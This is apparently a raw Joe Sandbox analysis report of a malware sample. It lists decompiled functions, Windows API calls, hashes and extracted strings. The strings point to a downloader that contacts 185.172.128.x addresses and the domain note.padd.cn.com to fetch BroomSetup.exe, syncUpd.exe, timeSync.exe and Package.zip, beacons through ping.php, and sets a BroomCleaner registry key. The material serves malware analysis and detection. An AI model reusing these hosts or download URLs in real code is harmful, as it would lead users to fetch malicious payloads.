/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 0410501D, 041051B3, 041051CC
P, xrefs: 04105312
P, xrefs: 04105ABC
/1/Package.zip, xrefs: 04105C7B, 04105D15, 04105D6F
.zip, xrefs: 04105DC4, 04105DE6
185.172.128.59, xrefs: 041057A3, 0410583D, 04105AB4
.exe, xrefs: 0410618D, 041061AF
/BroomSetup.exe, xrefs: 0410604E, 041060F4, 04106142
185.172.128.228, xrefs: 04105F88, 04106034, 04106139
SOFTWARE\BroomCleaner, xrefs: 04105358, 0410544C
/ping.php?substr=%s, xrefs: 041055EE, 041056C4, 041056DC
P, xrefs: 0410575C
P, xrefs: 04105D77
/syncUpd.exe, xrefs: 04105923, 041059A5, 04105AD6
185.172.128.203, xrefs: 0410585E, 04105904, 04105AA6
185.172.128.228, xrefs: 04105527, 041055CD, 0410574C
185.172.128.90, xrefs: 0410521A, 041052B4, 04105302
Installed, xrefs: 04105466, 041054C4
/timeSync.exe, xrefs: 041059C6, 04105A59, 04105AC7
P, xrefs: 0410614A
.exe, xrefs: 04105B18, 04105B3A
note.padd.cn.com, xrefs: 04105BA9, 04105C61, 04105D66
\run.exe, xrefs: 04105E37, 04105E8F
@, xrefs: 04104CE3

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: H_prolog$FileIos_base_dtorModuleNamestd::ios_base::_
String ID: @$ iC$.exe$.exe$.zip$/1/Package.zip$/BroomSetup.exe$/cpa/ping.php?substr=%s&s=ab&sub=%s$/ping.php?substr=%s$/syncUpd.exe$/timeSync.exe$185.172.128.203$185.172.128.228$185.172.128.228$185.172.128.59$185.172.128.90$Installed$P$P$P$P$P$SOFTWARE\BroomCleaner$\run.exe$note.padd.cn.com
API String ID: 2531350358-3920416335
Opcode ID: 250d8a035f8b337f53b0f2b82bef072aba3463d320e73a283fe624a254bad318
Instruction ID: 2dd678cb4a775e0f02dcf7ece878d072c601424dedf953a3753171f253d6b429
Opcode Fuzzy Hash: 250d8a035f8b337f53b0f2b82bef072aba3463d320e73a283fe624a254bad318
Instruction Fuzzy Hash: 5EA2352050B2D0AED711BB7D68562FE3FE09B5324CF54E4A9C6A06F352CB74A11C87DA

Uniqueness

Uniqueness Score: -1.00%

Function 0042086B Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

Part of subcall function 00416D19: _free.LIBCMT ref: 00416D78
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D85

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 00420977
IsValidCodePage.KERNEL32(00000000), ref: 004209D2
IsValidLocale.KERNEL32(?,00000001), ref: 004209E1
GetLocaleInfoW.KERNEL32(?,00001001,=CA,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00420A29
GetLocaleInfoW.KERNEL32(?,00001002,00000004,00000040), ref: 00420A48

Strings

=CA, xrefs: 004209A0, 0042094D, 00420942
=CA, xrefs: 00420894, 004208A4, 00420964, 00420906, 004208FB, 004208FE, 00420909, 00420967
=CA, xrefs: 00420881, 00420A20
,CUSA, xrefs: 004208D0

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID: ,CUSA$=CA$=CA$=CA
API String ID: 745075371-916183771
Opcode ID: 7a1be57ac465552201368d881ee0be8e618b3833191cff01430afd0861729407
Instruction ID: 7ddd42caa13bcc6a581a5d9380eb1867f4bda1d866acf156490288d52a5f9f8d
Opcode Fuzzy Hash: 7a1be57ac465552201368d881ee0be8e618b3833191cff01430afd0861729407
Instruction Fuzzy Hash: 2351A4B1B002299BEB20DFA5EC45BBF77F8AF04700F54056BE505E7252D7789980CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041FF33 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00414344,?,?,?,?,00413D9B,?,00000004), ref: 00420015
_wcschr.LIBVCRUNTIME ref: 004200A5
_wcschr.LIBVCRUNTIME ref: 004200B3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,DCA,00000000,?), ref: 00420156

Strings

,CUSA, xrefs: 0041FF71
DCA, xrefs: 0042002C, 00420074, 0042011C

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID: ,CUSA$DCA
API String ID: 4212172061-972430610
Opcode ID: fab0966e0587d915fa6208f5e4fc1387ce1aec17fb088b71372f47add09b0d42
Instruction ID: fa09c2a12b3627a5d585845c4e70effd6588540dd04b31b38b5545ebe516d264
Opcode Fuzzy Hash: fab0966e0587d915fa6208f5e4fc1387ce1aec17fb088b71372f47add09b0d42
Instruction Fuzzy Hash: 2C610871700216AAE724AB35EC42BEB77E8EF04314F14403FF505D7282EA79E986C769

Uniqueness

Uniqueness Score: -1.00%

Function 00420697 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,004209B6,?,00000000), ref: 00420730
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,004209B6,?,00000000), ref: 00420759
GetACP.KERNEL32(?,?,004209B6,?,00000000), ref: 0042076E

Strings

ACP, xrefs: 004206B5
OCP, xrefs: 004206EB

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 72d3ff9daaa20821932bd1486a70992e0b513832b1a5c534fdba9837e67b2258
Instruction ID: ccfaff94e51ab864e712d9520aeba98098d7830e350b78e24d8ea24043a496f3
Opcode Fuzzy Hash: 72d3ff9daaa20821932bd1486a70992e0b513832b1a5c534fdba9837e67b2258
Instruction Fuzzy Hash: 8821F422B00125ABD7308F14E900A9BB3E6ABD4B50BD68176E90AD7312E736ED41CB48

Uniqueness

Uniqueness Score: -1.00%

Function 041008FE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,04100C1D,?,00000000), ref: 04100997
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,04100C1D,?,00000000), ref: 041009C0
GetACP.KERNEL32(?,?,04100C1D,?,00000000), ref: 041009D5

Strings

ACP, xrefs: 0410091C
OCP, xrefs: 04100952

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 72d3ff9daaa20821932bd1486a70992e0b513832b1a5c534fdba9837e67b2258
Instruction ID: b63bb8018ada321befe079bab8754184a0344304137c9ec8548c080ca006b06c
Opcode Fuzzy Hash: 72d3ff9daaa20821932bd1486a70992e0b513832b1a5c534fdba9837e67b2258
Instruction Fuzzy Hash: CC21C932700104AAF7349F55E980B977BA6AB4CB60B47C4A5EB4DD7180E7B2FA40C390

Uniqueness

Uniqueness Score: -1.00%

Function 04100AD2 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FDF
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FEC

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 04100BDE
IsValidCodePage.KERNEL32(00000000), ref: 04100C39
IsValidLocale.KERNEL32(?,00000001), ref: 04100C48
GetLocaleInfoW.KERNEL32(?,00001001,040F45A4,00000040,?,040F46C4,00000055,00000000,?,?,00000055,00000000), ref: 04100C90
GetLocaleInfoW.KERNEL32(?,00001002,040F4624,00000040), ref: 04100CAF

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 7a1be57ac465552201368d881ee0be8e618b3833191cff01430afd0861729407
Instruction ID: 723a5508e00290c699a3fa0b0da09949788d73bc390606960ad65afb7d8b5f93
Opcode Fuzzy Hash: 7a1be57ac465552201368d881ee0be8e618b3833191cff01430afd0861729407
Instruction Fuzzy Hash: C9518575A002159BEB20DFA5EC84BBA7BB8BF0C704F0485A9E514E71D0EBB1A944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004123A0 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 464COMMON

Download Yara Rule

Strings

y%B, xrefs: 004123BD, 00412568, 0041278C, 00412726, 004125B6, 00412544
y%B, xrefs: 00412808, 004125F2, 00412481

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID: y%B$y%B
API String ID: 0-2510245575
Opcode ID: 639d753ca5804acfb26a7323c6b70442fdf5003eed0a35c333bc141f8f4a1fb1
Instruction ID: 7f81a5055d29d3c9b3a65b9dd9c97bea9b47a5c616e9cad61c519a63aba044dd
Opcode Fuzzy Hash: 639d753ca5804acfb26a7323c6b70442fdf5003eed0a35c333bc141f8f4a1fb1
Instruction Fuzzy Hash: F8024C71E002199FDF14CFA9D9806EEB7F1FF88314F25826AD819E7380D774AA518B94

Uniqueness

Uniqueness Score: -1.00%

Function 0410019A Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,040F45AB,?,?,?,?,040F4002,?,00000004), ref: 0410027C
_wcschr.LIBVCRUNTIME ref: 0410030C
_wcschr.LIBVCRUNTIME ref: 0410031A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,040F45AB,00000000,040F46CB), ref: 041003BD

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: fab0966e0587d915fa6208f5e4fc1387ce1aec17fb088b71372f47add09b0d42
Instruction ID: 36b5495c1d565c0e9c55a20db514fc0ca2b68d1537c0d409061e430f8ae124da
Opcode Fuzzy Hash: fab0966e0587d915fa6208f5e4fc1387ce1aec17fb088b71372f47add09b0d42
Instruction Fuzzy Hash: F161E971600206ABE725AF74EC81FB67BA8EF08344F14847AEA45DB5C0EBB5F9448790

Uniqueness

Uniqueness Score: -1.00%

Function 004201F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

EnumSystemLocalesW.KERNEL32(0042031E,00000001,00000000,?,=CA,?,0042094B,00000000,?,?,?), ref: 00420268

Strings

KB, xrefs: 0042023D
=CA, xrefs: 004201FB

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID: =CA$KB
API String ID: 1084509184-2718487402
Opcode ID: 6ecc5bd197992c8aded88e3bc6e768e3d3d56082aa0088f612a67ffe9f881cb2
Instruction ID: 80b9233af1491a43965ff49f25878bf7386ded64d37c123707e1c04ccab01a49
Opcode Fuzzy Hash: 6ecc5bd197992c8aded88e3bc6e768e3d3d56082aa0088f612a67ffe9f881cb2
Instruction Fuzzy Hash: 2E11593A3003058FDB189F79E8955BABBD1FF80358B54442EE94647B01D775AC42CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0042031E Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

Part of subcall function 00416D19: _free.LIBCMT ref: 00416D78
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D85

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420372
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004203C3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420483

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: 4a54e068e7e21b5c93d00dbf49a271e166efa7efff7abe37b2459b5ebe4b8a98
Instruction ID: 150eb58c917d6dfbd7f4c2a18d44eb002ac57a30d794a2eb47e087b0f294e0c3
Opcode Fuzzy Hash: 4a54e068e7e21b5c93d00dbf49a271e166efa7efff7abe37b2459b5ebe4b8a98
Instruction Fuzzy Hash: D46185717001279BDB28DF25DC81BB677E8EF14344F50807AE905C6642E77CE995CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041073B Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00410833
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0041083D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041084A

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1f01c3d74a580a85cb2b3a98bb34489c5dacd64fee754aa22b14778df8eb55ee
Instruction ID: d1fab33c372cae0273f805137467810c70e9cba24fd9c5a15224a60e011b092e
Opcode Fuzzy Hash: 1f01c3d74a580a85cb2b3a98bb34489c5dacd64fee754aa22b14778df8eb55ee
Instruction Fuzzy Hash: E031C47490121C9BCB21EF25D9887CDB7B8BF08310F5041EAE41CA7291E7749F858F88

Uniqueness

Uniqueness Score: -1.00%

Function 040F09A2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 040F0A9A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 040F0AA4
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 040F0AB1

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1f01c3d74a580a85cb2b3a98bb34489c5dacd64fee754aa22b14778df8eb55ee
Instruction ID: c3d934c50319f9690d0c9a4400d7ab0bf1f4647e24f235edc05c472d2992b154
Opcode Fuzzy Hash: 1f01c3d74a580a85cb2b3a98bb34489c5dacd64fee754aa22b14778df8eb55ee
Instruction Fuzzy Hash: E231B27490122CABDB61DF65DC887D9BBF4BF08314F5041EAE90CA7250E734AB958F45

Uniqueness

Uniqueness Score: -1.00%

Function 040F3C4E Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,040F3C24,00000003,00438DB0,0000000C,040F3D7B,00000003,00000002,00000000,?,040F2DD2,00000003), ref: 040F3C6F
TerminateProcess.KERNEL32(00000000,?,040F3C24,00000003,00438DB0,0000000C,040F3D7B,00000003,00000002,00000000,?,040F2DD2,00000003), ref: 040F3C76
ExitProcess.KERNEL32 ref: 040F3C88

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 89ebcf6bc015773511dc3aad9cd82e24c556da80457bd1d22a03e0f024b4907b
Instruction ID: 2a1be5f60ce34d8b34aae746c68a2413c4eba7fa8bbe27d79678fe5ee28325ca
Opcode Fuzzy Hash: 89ebcf6bc015773511dc3aad9cd82e24c556da80457bd1d22a03e0f024b4907b
Instruction Fuzzy Hash: 7FE0BF31110509ABDF116F54DD08A993F69EB44295F454034FE4656531DB35EE52CB84

Uniqueness

Uniqueness Score: -1.00%

Function 040E092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 040E095F
GetProcAddress., xrefs: 040E09DC, 040E09DF, 040E09E4
l, xrefs: 040E0966

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 422d71b1b1ccda2d078c31db4a71207cfb9775b6796ba08afff0f0659ddc176c
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 703149B6900619DFEB10CF99C880AAEBBF5FF48328F14404AD541B7210D7B5FA55CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00420291 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

EnumSystemLocalesW.KERNEL32(0042056E,00000001,?,?,=CA,?,0042090F,=CA,?,?,?,?,?,0041433D,?,?), ref: 004202DD

Strings

=CA, xrefs: 00420296

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID: =CA
API String ID: 1084509184-159236625
Opcode ID: ab85bc1e43991df2705f07cc57a9aa43a57183c5a15191c37f6533489f07c1c3
Instruction ID: d57b86ad11fc321639f916cdd89717e5b85f45a329514cfdd24aab137e17032f
Opcode Fuzzy Hash: ab85bc1e43991df2705f07cc57a9aa43a57183c5a15191c37f6533489f07c1c3
Instruction Fuzzy Hash: 4CF0F4363003149FDB249E3AE88566A7BD1EB80358B55806FE9418B641D6B59C41CA14

Uniqueness

Uniqueness Score: -1.00%

Function 004174E4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00413D9B,?,00000004), ref: 00417537

Strings

GetLocaleInfoEx, xrefs: 004174F5, 004174FF

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: f6c0c4f42c22e8201f37eacc6f7f2faf8eebaad978cceb340ad758d7620601a8
Instruction ID: 87fd85214f38bea17e9e0867028b4e6f8bd84d2b32a19a69094aa8269c1633f8
Opcode Fuzzy Hash: f6c0c4f42c22e8201f37eacc6f7f2faf8eebaad978cceb340ad758d7620601a8
Instruction Fuzzy Hash: 0AF0F631740218B7DB11AF61AC01FBE3B72DF04710F90007AFC0926291CA355E60969D

Uniqueness

Uniqueness Score: -1.00%

Function 0042056E Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

Part of subcall function 00416D19: _free.LIBCMT ref: 00416D78
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D85

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004205C2

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 626a58fd2a11263c701827f8cc7ecaecf78fb438a8408d1622c62f471aa76bb7
Instruction ID: 81f412bf0acab0c669cc413bed1d2c5f28af9b0bc2236bf2d8b3c2af5f6810e7
Opcode Fuzzy Hash: 626a58fd2a11263c701827f8cc7ecaecf78fb438a8408d1622c62f471aa76bb7
Instruction Fuzzy Hash: CD21A472A10126AFDB249F25EC41BBB73E8EB84314F50007BE905D6242EB78AD94CB59

Uniqueness

Uniqueness Score: -1.00%

Function 041007D5 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FDF
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FEC

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 04100829

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 626a58fd2a11263c701827f8cc7ecaecf78fb438a8408d1622c62f471aa76bb7
Instruction ID: 49ea6624a1816cd537341cc5140a303e034060f576e896ceaad955d83774cc01
Opcode Fuzzy Hash: 626a58fd2a11263c701827f8cc7ecaecf78fb438a8408d1622c62f471aa76bb7
Instruction Fuzzy Hash: 0B21BB719501069BEB349F24EC81BB677A8FF44314F1441BBED05D6180EB75F944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0410045D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
Part of subcall function 040F6F80: _free.LIBCMT ref: 040F6FB7
Part of subcall function 040F6F80: SetLastError.KERNEL32(00000000), ref: 040F6FF8
Part of subcall function 040F6F80: _abort.LIBCMT ref: 040F6FFE

EnumSystemLocalesW.KERNEL32(0042031E,00000001,00000000,?,040F45A4,?,04100BB2,00000000,?,?,?), ref: 041004CF

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 6ecc5bd197992c8aded88e3bc6e768e3d3d56082aa0088f612a67ffe9f881cb2
Instruction ID: a63682603f51bd4dfed096286b003b4e6d0a4980bba1909b0bf7e84556fa7a2b
Opcode Fuzzy Hash: 6ecc5bd197992c8aded88e3bc6e768e3d3d56082aa0088f612a67ffe9f881cb2
Instruction Fuzzy Hash: 1F1129366007059FDB189F39D8E46BABB91FF84318B54843DE98687A80D3B1B542C740

Uniqueness

Uniqueness Score: -1.00%

Function 0042079E Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00416D19: GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
Part of subcall function 00416D19: _free.LIBCMT ref: 00416D50
Part of subcall function 00416D19: SetLastError.KERNEL32(00000000), ref: 00416D91
Part of subcall function 00416D19: _abort.LIBCMT ref: 00416D97

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0042053C,00000000,00000000,?), ref: 004207CA

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: f66693705f548f29d4e13755c6b95d8f8d6fc91d438b3d8f3cc98e9f9ea0c49c
Instruction ID: 232df0c2e22441a9dd69ecf2977a2312304a26c18b6acff2860949399b437602
Opcode Fuzzy Hash: f66693705f548f29d4e13755c6b95d8f8d6fc91d438b3d8f3cc98e9f9ea0c49c
Instruction Fuzzy Hash: 59F04932B00135ABDB285A25E8057BB77E8EB40314F51042BEC05A3641EB78BD41CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 04100A05 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 040F6F80: GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
